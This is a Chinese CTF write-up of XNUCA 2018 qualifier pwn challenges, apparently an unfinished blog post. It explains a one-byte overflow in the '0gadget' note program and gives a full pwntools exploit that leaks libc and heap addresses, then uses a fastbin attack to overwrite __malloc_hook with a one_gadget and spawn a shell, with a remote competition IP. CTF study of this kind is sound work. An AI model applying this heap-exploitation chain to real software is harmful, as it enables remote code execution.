XNUCA2018初赛pwn writeup

0x00 写在前面

今年被拦在了初赛的门槛,无缘深圳的决赛,看不到去年在网鱼看到了小姐姐了QAQ。初赛没有misc和简单的crypto,不是很亲民,只好当场去啃pwn题目。然后…发现要不就是晦涩难懂的C艹,能看懂的堆题要不就开了seccomp,要不就远程是个busy box,看的最明白的就一行gets函数加栈溢出get shell的又无从下手,果然很不亲民啊……

0x01 0gadget

  • 程序功能

程序没有去符号表,是一个日志系统,具有增、删、查的功能,最多可以有15note。每个note对应着在.bss的一个结构体如下:
数据结构
查日志时会在检查inuse位后将titlecontent_ptr指向的size长度打印出来。
删除日志时会将content_ptr free掉,并将inuse位赋0

  • 漏洞位置
    add note赋值完content后,赋值title时会有one_byte_off,可覆盖掉content_ptr,之后可以实现任意地址free
    one_byte_off

delete note时不会将heap内的content内容清空,可结合show note实现重要地址的leak

  • 利用思路

先利用showdelete unsort bin leaklibcheap的基址,然后申请一个unsort bin并在其中构造size0x71fastbin,再利用one_byte_off溢出content_ptrfreefastbin。之后将unsort bin释放掉,再申请刚刚释放的unsort bin并构造其中fastbinfake_fdmalloc_hook前,对齐size0x7f,最后申请两次0x60触发fastbin attack,最后修改malloc_hook指针为one_gadget,再次申请时可触发one_gadgetshell

  • my-exp
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    from pwn import *

    local = 1

    if local:
    p = process('./0gadget')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
    else:
    p = remote('106.75.63.193' , 9705)#nc 106.75.63.193 9705
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

    def add(size , title , content , remark):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('size: ')
    p.sendline(str(size))
    p.recvuntil('title: ')
    p.sendline(title)
    p.recvuntil('content: ')
    p.send(content)
    p.recvuntil('REMARK: ')
    p.sendline(remark)

    def free(index , remark):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil('delete: ')
    p.sendline(str(index))
    p.recvuntil('REMARK: ')
    p.sendline(remark)

    def show(index , remark):
    p.recvuntil('choice: ')
    p.sendline('3')
    p.recvuntil('show: ')
    p.sendline(str(index))
    tmp = p.recvuntil('\nREMARK: ').split('\n')
    title = tmp[0].split(': ')[1]
    content = tmp[1].split(': ')[1]
    p.sendline(remark)
    return title , content

    def debug():
    print pidof(p)[0]
    raw_input()

    one_gadget = [0x45216 , 0x4526a , 0xf02a4 , 0xf1147]

    #leak libc_base
    add(0x80 , 'a' * 0x10 , 'A' * 0x40 , 'aA' * 0x10) #0
    add(0x80 , 'b' * 0x10 , 'B' * 0x80 , 'bB' * 0x10) #1
    add(0x80 , 'c' * 0x10 , 'C' * 0x40 , 'cC' * 0x10) #2
    free(1 , '')
    add(0x80 , 'd' * 0x10 , '\x78' , 'dD' * 0x10) #1
    libc.address = u64(show(1 , '')[1][:6].ljust(8 , '\x00')) - 0x3c4b78
    success('libc_base => ' + hex(libc.address))
    add(0x10 , 'e' * 0x10 , 'E' * 0x20 , 'eE' * 0x10) #3

    #leak heap_base
    free(0 , '')
    free(2 , '')
    add(0x80 , 'f' * 0x10 , '\x78' , 'fF' * 0x10) #0
    heap_base = u64(show(0 , '')[1][8:11].ljust(8 , '\x00')) - 0x120
    success('heap_base => ' + hex(heap_base))

    #make fastbin_attack
    ptr = 0x6022b8
    payload = 0x98 * '\x00' + p64(0x71)
    add(0x100 , 'g' * 0x10 , payload , 'remark') #2
    add(0x90 , 'h' * 0x90 + '\x80' , '' ,'remark') #4
    free(4 , '')
    free(2 , '')
    malloc_hook = libc.symbols['__malloc_hook']
    success('malloc_hook => ' + hex(malloc_hook))
    silver_bullet = libc.address + one_gadget[3]
    success('silver_bullet => ' + hex(silver_bullet))
    fake_fd = malloc_hook - 0x13
    payload = 0x98 * '\x00' + p64(0x71) + p64(fake_fd)
    add(0x100 , 'i' * 0x10 , payload , 'remark') #2
    add(0x60 , 'j' * 0x10 , 'test' , 'remark') #5

    #trigger fastbin
    add(0x60 , 'k' * 0x10 , '123' + p64(silver_bullet) , 'remark') #6
    p.sendline('1')
    p.sendline('123')

    #debug()
    p.interactive()

0x02 gets

  • 程序功能&程序漏洞
    程序很简单,就两行代码,明显的栈溢出
    gets

0x03 steak

文章目录
  1. 1. 0x00 写在前面
  2. 2. 0x01 0gadget
  3. 3. 0x02 gets
  4. 4. 0x03 steak
,